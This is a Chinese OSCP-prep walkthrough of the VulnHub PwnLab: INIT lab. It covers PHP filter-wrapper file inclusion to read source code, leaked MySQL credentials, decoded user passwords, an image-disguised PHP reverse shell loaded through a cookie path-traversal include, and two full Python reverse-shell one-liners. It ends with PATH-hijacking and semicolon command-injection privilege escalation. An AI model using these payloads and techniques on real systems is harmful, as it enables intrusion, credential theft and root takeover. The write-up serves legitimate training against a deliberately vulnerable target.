前言
oscp备考,oscp系列——PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权
难度简单偏上
-
对于低权限shell获取涉及:文件包含+源码审计,文件包含+文件上传,mysql连接读取数据 -
对于提权:环境变量劫持提权,管道符绕过提权
下载地址:
https://www.vulnhub.com/entry/pwnlab-init,158/
nmap
主机发现
└─# nmap -sn 10.10.10.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 14:11 CST
Nmap scan report for 10.10.10.1 (10.10.10.1)
Host is up (0.00020s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2 (10.10.10.2)
Host is up (0.00016s latency).
MAC Address: 00:50:56:F2:C6:98 (VMware)
Nmap scan report for 10.10.10.133 (10.10.10.133)
Host is up (0.00024s latency).
MAC Address: 00:0C:29:BD:A7:72 (VMware)
Nmap scan report for 10.10.10.254 (10.10.10.254)
Host is up (0.00040s latency).
MAC Address: 00:50:56:F7:20:A7 (VMware)
Nmap scan report for 10.10.10.128 (10.10.10.128)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.95 seconds
端口扫描
└─# nmap --min-rate 10000 -p- 10.10.10.133
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 14:12 CST
Nmap scan report for 10.10.10.133 (10.10.10.133)
Host is up (0.00083s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
3306/tcp open mysql
43198/tcp open unknown
MAC Address: 00:0C:29:BD:A7:72 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds
└─# nmap --min-rate 10000 -p- 10.10.10.133 -sU
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 14:13 CST
Warning: 10.10.10.133 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.133 (10.10.10.133)
Host is up (0.00078s latency).
Not shown: 65455 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT STATE SERVICE
111/udp open rpcbind
39014/udp open unknown
MAC Address: 00:0C:29:BD:A7:72 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 72.93 seconds
详细端口扫描
└─# nmap -sV -sT -sC -O -p80,111,3306,43198 10.10.10.133
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 18:05 CST
Nmap scan report for 10.10.10.133 (10.10.10.133)
Host is up (0.00097s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34382/udp6 status
| 100024 1 39014/udp status
| 100024 1 43198/tcp status
|_ 100024 1 46276/tcp6 status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 61
| Capabilities flags: 63487
| Some Capabilities: SupportsCompression, Support41Auth, SupportsTransactions, ConnectWithDatabase, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, InteractiveClient, Speaks41ProtocolNew, IgnoreSigpipes, SupportsLoadDataLocal, ODBCClient, LongColumnFlag, FoundRows, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: ]m-6e|aQP}G+?:C&/[;
|_ Auth Plugin Name: mysql_native_password
43198/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:BD:A7:72 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds
信息收集
web页面,80
发现登录框,尝试了sql注入和万能密码,失败,不过访问login的时候,发现可能存在文件包含,尝试利用读取源码
文件包含读取源码,进行源码审计
login源码
http://10.10.10.133/?page=php://filter/read=convert.base64-encode/resource=login
base64解码一下,得到,发现还存在一个config.php
文件,使用的是mysql数据库,读取一下
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) andisset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass); # 发现这里使用了bind_param预处理函数,防止了sql注入
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo"Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
config.php
源码
http://10.10.10.133/?page=php://filter/read=convert.base64-encode/resource=config
得到,发现可能是数据库的账号和密码
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
读取index.php
源码,就是首页源码,一般都是index.php
http://10.10.10.133/?page=php://filter/read=convert.base64-encode/resource=index
得到,发现有二个文件包含,cookie的那个没有限制后缀
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']); # 在这里也发现了一个COOKIE文件包含,而且还没有限制后缀
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php"); # 可以发现这里限制了后缀必须为php
}
else
{
echo"Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
upload.php
源码
http://10.10.10.133/?page=php://filter/read=convert.base64-encode/resource=upload
得到,发现一个/upload目录
,getimagesize函数检测内容,白名单,和MIME检测,
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/'; # 发现存在一个upload目录
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']); # 使用了getimagesize函数检测内容,不过这个只需要添加图片文件头即可绕过,例如:GIF89a
$whitelist = array(".jpg",".jpeg",".gif",".png"); # 使用了白名单,不过没有关系,我们可以通过文件包含进行组合利用
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { # 这里进行了MIME检测
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; # 随机文件名
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo"<img src="".$uploadfile.""><br />";
} else {
die('Error 4');
}
}
}
?>
访问一下/upload
,可以进行目录浏览
目录扫描
再扫描一遍,看看有没有什么遗漏,发现/images/
目录访问一下
漏洞利用
mysql连接读取数据
尝试连接mysql数据库
root/H4u%QJ_H99
mysql -uroot -pH4u%QJ_H99 -h 10.10.10.133
mysql -uroot -pH4u%QJ_H99 -h 10.10.10.133 --skip-ssl
读取一下数据
得到
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
base64解码一下
kent/JWzXuBJJNy
mike/SIfdsTEn6I
kane/iSv5Ym2GRo
文件上传+文件包含利用
尝试登录,第一个就登录成功
kent/JWzXuBJJNy
上传反弹shell图片马
copy test.jpg/b + reverseShell.php reverseShell.jpg
上传成功
已经上传到了upload目录下面使用文件包含,先试试看能不能绕过
.php
的限制 第一种%00截断,失败
http://10.10.10.133/?page=./upload/4b0348221a884f933e5ecf72aa5ecc63.jpg%00
第二种垃圾字符填充,Windows下使用(.)加(/)的方法填充259次,linux下需要使用2038次,失败
http://10.10.10.133/?page=././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././upload/4b0348221a884f933e5ecf72aa5ecc63.jpg
第三种,远程文件包含时通过?来伪截断,失败
http://10.10.10.133/?page=http://10.10.10.133/?page=./upload/4b0348221a884f933e5ecf72aa5ecc63.jpg
还是直接利用吧,cookie这里,上面还一个lang/
目录,需要目录穿越一下
include("lang/".$_COOKIE['lang']); # 在这里也发现了一个COOKIE文件包含,而且还没有限制后缀
构造
lang=../upload/4b0348221a884f933e5ecf72aa5ecc63.jpg
反弹shell成功
提权
之前发现有三个账号,先反弹shell一下做备份,尝试其他账号
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
mike失败了,看看web页面可不可以登录web页面登录成功
等下试试反弹shell
kane切换成功
因为反弹shell脚本是6666端口的,所以在反弹一个做备份
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
反弹成功了,但是没什么用看了就只有目前就只有两个账号可以使用了,在kane发现一个mike用户的文件
发现是一个可执行文件,使用
strings
查看二进制文件中查找可打印的字符串
环境变量劫持提权
发现这里使用了cat命令,我们只需要更改环境变量,首先自己创建一个cat命令,里面写需要执行的命令,然后将我们自己创建的cat命令所在的目录添加到环境变量里面去,并且排在最前面,这样执行cat命令的时候,就是执行了我们的cat
-
创建一个cat,执行的命令为bash,并且赋予权限
echo"/bin/bash" >cat
chmod 777 cat
-
更改环境变量,将当前目录排到最前面
export PATH=/home/kane:$PATH
执行
./msgmike
获得mike用户shell
管道符绕过提权
发现mike目录下面也有一个可执行文件,查看权限,然后运行一下,发现是root的可执行权限这里的环境变量写死了,不能劫持了
不过这一条命令,好像是直接将我们输入的内容拼接进去做一个备份,可以尝试使用管道符绕过
/bin/echo %s >> /root/messages.txt
使用,不清楚为什么bash不行
11;/bin/sh;
原文始发于微信公众号(泷羽Sec-尘宇安全):【oscp】PWNLAB: INIT靶场,文件包含+源码审计,文件包含+文件上传,环境变量劫持提权,管道符绕过提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论